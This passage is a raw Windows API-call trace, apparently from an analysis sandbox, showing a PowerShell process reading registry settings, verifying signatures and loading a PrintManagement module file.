wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.696] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa5c) returned 0x0 [0116.696] RegQueryValueExW (in: hKey=0xa5c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0116.696] RegCloseKey (hKey=0xa5c) returned 0x0 [0116.696] CloseHandle (hObject=0xa7c) returned 1 [0116.696] VarDecCmp (pdecLeft=0x843d008, pdecRight=0x843cff8) returned 0x0 [0116.696] VarDecCmp (pdecLeft=0x843cfe8, pdecRight=0x843cfd8) returned 0x1 [0116.697] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0116.697] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0116.697] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0116.697] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x2 [0116.698] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.698] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.698] VarR8FromDec (in: pdecIn=0x5311610, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.698] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.698] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x2 [0116.698] VarR8FromDec (in: pdecIn=0x5311a54, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.698] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerconfiguration_v1.0.cdxml")) returned 0x20 [0116.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x68 [0116.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x68, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", lpFilePart=0x0) returned 0x67 [0116.699] CoTaskMemAlloc (cb=0x20c) returned 0x73bdf38 [0116.699] GetSystemDirectoryW (in: lpBuffer=0x73bdf38, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.699] CoTaskMemFree (pv=0x73bdf38) [0116.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0116.699] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0116.699] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.699] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa7c) returned 0x0 [0116.700] RegQueryValueExW (in: hKey=0xa7c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0116.700] RegCloseKey (hKey=0xa7c) returned 0x0 [0116.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x68 [0116.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x68, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", lpFilePart=0x0) returned 0x67 [0116.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0116.700] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerconfiguration_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x53146a0 | out: lpFileInformation=0x53146a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7522ee85, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7522ee85, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7522ee85, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x50dd)) returned 1 [0116.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0116.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x68 [0116.700] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x68, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", lpFilePart=0x0) returned 0x67 [0116.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0116.701] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerconfiguration_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7522ee85, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7522ee85, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7522ee85, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x50dd)) returned 1 [0116.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0116.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x68 [0116.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x68, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", lpFilePart=0x0) returned 0x67 [0116.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x68 [0116.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x68, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", lpFilePart=0x0) returned 0x67 [0116.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0116.701] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerconfiguration_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7522ee85, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7522ee85, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7522ee85, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x50dd)) returned 1 [0116.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0116.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x68 [0116.701] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x68, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", lpFilePart=0x0) returned 0x67 [0116.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0116.701] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerconfiguration_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.701] GetFileType (hFile=0xa7c) returned 0x1 [0116.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0116.702] GetFileType (hFile=0xa7c) returned 0x1 [0116.702] WTGetSignatureInfo () returned 0x0 [0116.789] CertDuplicateCertificateContext (pCertContext=0x32f40a0) returned 0x32f40a0 [0116.789] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa8c) returned 0x0 [0116.789] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0116.789] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x5314be0, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0116.789] RegCloseKey (hKey=0xa8c) returned 0x0 [0116.789] CoTaskMemAlloc (cb=0x10) returned 0x7443df0 [0116.789] CoTaskMemAlloc (cb=0x30) returned 0x740d670 [0116.790] WinVerifyTrust () returned 0x0 [0116.790] CoTaskMemFree (pv=0x740d670) [0116.790] CoTaskMemFree (pv=0x7443df0) [0116.790] CertFreeCertificateContext (pCertContext=0x32f40a0) returned 1 [0116.790] CloseHandle (hObject=0xa7c) returned 1 [0116.790] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x68 [0116.790] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", nBufferLength=0x68, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml", lpFilePart=0x0) returned 0x67 [0116.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0116.790] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterConfiguration_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerconfiguration_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.790] GetFileType (hFile=0xa7c) returned 0x1 [0116.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0116.791] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.791] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.791] VarR8FromDec (in: pdecIn=0x5334f2c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.791] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.791] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.791] VarR8FromDec (in: pdecIn=0x533645c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.792] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.792] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.792] VarR8FromDec (in: pdecIn=0x5339e8c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.792] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.792] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.792] VarR8FromDec (in: pdecIn=0x533c96c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0116.793] VarR8FromDec (in: pdecIn=0x533dd40, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.793] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.793] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.794] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.794] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.795] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.795] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.798] WTGetSignatureInfo () returned 0x0 [0116.849] CertDuplicateCertificateContext (pCertContext=0x32f4140) returned 0x32f4140 [0116.849] WinVerifyTrust () returned 0x0 [0116.849] CertFreeCertificateContext (pCertContext=0x32f4140) returned 1 [0116.850] VarR8FromDec (in: pdecIn=0x536c45c, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.850] VarR8FromDec (in: pdecIn=0x536db00, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.851] VarR8FromDec (in: pdecIn=0x536f6bc, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.851] VarR8FromDec (in: pdecIn=0x5370c50, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.851] VarR8FromDec (in: pdecIn=0x5371284, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.851] VarR8FromDec (in: pdecIn=0x5372290, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.851] VarR8FromDec (in: pdecIn=0x53727d0, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0116.852] VarR8FromDec (in: pdecIn=0x5374150, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.852] VarR8FromDec (in: pdecIn=0x53756e8, pdblOut=0x843d028 | out: pdblOut=0x843d028) returned 0x0 [0116.852] VarR8FromDec (in: 